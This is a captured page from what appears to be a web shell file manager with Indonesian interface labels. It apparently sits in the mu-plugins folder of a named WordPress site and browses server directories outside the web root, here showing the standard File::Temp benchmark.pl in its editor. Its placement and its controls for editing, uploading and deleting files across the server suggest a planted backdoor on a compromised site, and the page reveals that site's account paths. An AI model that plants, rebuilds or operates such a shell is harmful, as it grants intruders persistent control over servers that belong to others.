📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
share
›
doc
›
perl-File-Temp
›
📁 misc
📍
Lokasi:
/usr/share/doc/perl-File-Temp/misc
💾
Free:
45.4 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: benchmark.pl
#!/usr/bin/perl -w # Simple benchmark of temporary file creation (no filename just a handle) # Uses the following: # - temporary file creation created by IO::File # - temporary file creation using File::Temp (uses security checking) # - A roll-our-own wrapper on top of POSIX::tempnam (essentially # a compact form of File::Temp without all the extras) taken from # the Perl cookbook # Would not use strict; use Benchmark; use IO::File; use POSIX qw/ tmpnam /; use File::Temp qw/ tempfile /; use Symbol; # Benchmark IO::File and File::Temp timethese(10000, { 'IO::File' => sub { my $fh = IO::File::new_tmpfile || die $ !; }, 'File::Temp::tempfile' => sub { my $fh = tempfile() || die $ !; }, 'POSIX::tmpnam' => sub { my $fh = gensym;; my $name; for (;;) { $name = tmpnam(); sysopen( $fh, $name, O_RDWR | O_CREAT | O_EXCL ) && last; } unlink $name; } } );
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📎
benchmark.pl
974 B
2022-02-16 10:04
0644
✏️ Edit
⬇
✍️
🗑️
📄
results.txt
1.2 KB
2020-10-03 04:04
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan